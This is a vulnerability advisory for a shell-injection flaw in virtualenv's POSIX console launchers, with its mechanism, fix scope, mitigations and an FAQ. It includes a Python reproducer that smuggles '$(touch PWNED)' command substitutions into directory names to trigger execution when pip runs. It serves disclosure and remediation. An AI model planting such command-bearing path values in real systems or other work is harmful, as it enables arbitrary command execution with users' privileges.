CVE-2026-113722: virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax
Summary
A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not preserve it as literal data in the shell wrapper.
Affected area
POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper. Windows executable launchers are not affected by this path.
Attacker-controlled input
An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.
Affected code
The relevant 21.14.8 source is in ScriptMakerCustom.
Mechanism
The app-data seeder passes the environment's interpreter path through enquoteexecutable() to distlib's ScriptMaker. It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path has a space or the shebang exceeds 127 bytes, distlib emits a #!/bin/sh wrapper with a line shaped like '''exec' "<path>" "$0" "$@". The shell expands $(...) and backticks in that path when the launcher is run. The same wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and activation do not trigger the shell payload.
Reproduction and evidence
The scanner created three environments: a control under my -touch PWNED- project, one under my $(touch PWNED) project, and one under a path of more than 127 bytes ending in $(touch${IFS}PWNED). Each was created without producing PWNED. Running the generated bin/pip --version created PWNED in both attack cases; the control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the generated launcher, with the user's privileges, rather than during seeding.
The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2. PR #3417 quotes the raw interpreter path for the POSIX wrapper and repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up review reports that later path separately.
Attack sequence
mermaid sequenceDiagram participant A as Destination supplier participant V as virtualenv seeder participant D as distlib ScriptMaker participant S as Generated bin/pip participant U as User A->>V: path contains $(touch PWNED) V->>D: pass interpreter path with incomplete shell quoting D->>S: write /bin/sh wrapper Note over V,S: no payload runs during creation or activation U->>S: pip --version S->>S: shell expands path and runs touch S-->>U: PWNED appears with user's privileges
Reproducer files
The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path
WORK = Path("/tmp/repro-console-script")
The attacker's whole input: the name of a directory above the environment (a repository, a project folder). DIRECTORYNAMES = { "CONTROL": "my -touch PWNED- project", "OBSERVED": "my $(touch PWNED) project", # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes "OBSERVEDLONG": "p" 120 + "$(touch${IFS}PWNED)", }
shutil.rmtree(WORK, ignoreerrors=True) pipprinted = {} createdbypip = {} for label, name in DIRECTORYNAMES.items(): # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory cwd = WORK / label / "cwd" venv = WORK / label / name / "venv" cwd.mkdir(parents=True)
# set up: the user creates an environment there with default options (--no-periodic-update keeps it offline) subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True) assert list(cwd.iterdir()) == [], "environment creation must not have created anything"
# trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, captureoutput=True, text=True) pipprinted[label] = pip.stdout createdbypip[label] = sorted(p.name for p in cwd.iterdir())
launcher = (venv / "bin" / "pip").readtext().splitlines() print(f"{label}: directory name {name!r}") print(f" bin/pip line 1: {launcher[0]}") print(f" bin/pip line 2: {launcher[1]}") print(f" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}") print(f" files bin/pip created in the working directory: {createdbypip[label]}")
check: a directory name is data; starting pip must run pip and nothing else controlok = pipprinted["CONTROL"].startswith("pip ") and createdbypip["CONTROL"] == [] attackran = createdbypip["OBSERVED"] == ["PWNED"] and createdbypip["OBSERVEDLONG"] == ["PWNED"] print("BUG" if controlok and attackran else "OK")
Fix scope and remaining exposure
PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's vendored distlib.
A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip. The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are attributed to the reviewer.
Impact
Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's generated-script precedent. The vector assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are required; successful command execution can affect the user's data and processes.
Versions tested
The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.
Known mitigation
Use an environment destination chosen by a trusted user. For older releases, avoid generating environments at destinations derived from untrusted input.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.
Other sources
virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, virtualenv's ScriptMakerCustom and pip pass an incompletely quoted interpreter path to distlib ScriptMaker when generating POSIX console scripts. When the path contains a space or produces a shebang longer than 127 bytes, distlib emits a /bin/sh wrapper whose double-quoted interpreter path still expands command substitutions and backticks. An attacker who influences the environment destination can therefore execute commands with the user's privileges when the user later runs a generated launcher; environment creation and activation do not trigger the command. Existing launchers are not repaired by upgrading virtualenv alone and must be regenerated, while a later independent pip installation or upgrade can reintroduce an affected launcher because pip's vendored distlib is unchanged. The virtualenv fix is released in version 21.14.9.
— Ubuntu
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/virtualenvto a version that resolves this vulnerability.Fixed in 21.14.9 - Upgrade
Upgrade
bitnami/virtualenvto a version that resolves this vulnerability.Fixed in 21.14.9 - Upgrade
Upgrade
debian/python-virtualenvto a version that resolves this vulnerability.Fixed in 21.15.6+ds-2 - Upgrade
Upgrade
virtualenvto a version that resolves this vulnerability.Fixed in 21.14.9 - Compensating control
Use environment destination paths chosen by a trusted user; do not derive destinations from untrusted input.
- Operational
Regenerate existing affected POSIX launchers; upgrading virtualenv alone does not repair them.
Event History
Frequently Asked Questions
What conditions are required for exploitation?
An attacker must be able to influence the virtual environment destination path so that it contains shell syntax in a path with a space or one that causes a shebang longer than 127 bytes. The user must later run a generated POSIX console launcher; creating or activating the environment alone does not execute the injected command.
What should be done after upgrading virtualenv?
Upgrade virtualenv to version 21.14.9 or later, then regenerate existing console launchers. Launchers created before the upgrade are not repaired automatically.
Can a fixed virtualenv installation still produce affected launchers?
Yes. A later independent pip installation or upgrade can reintroduce an affected launcher because pip's vendored distlib remains unchanged.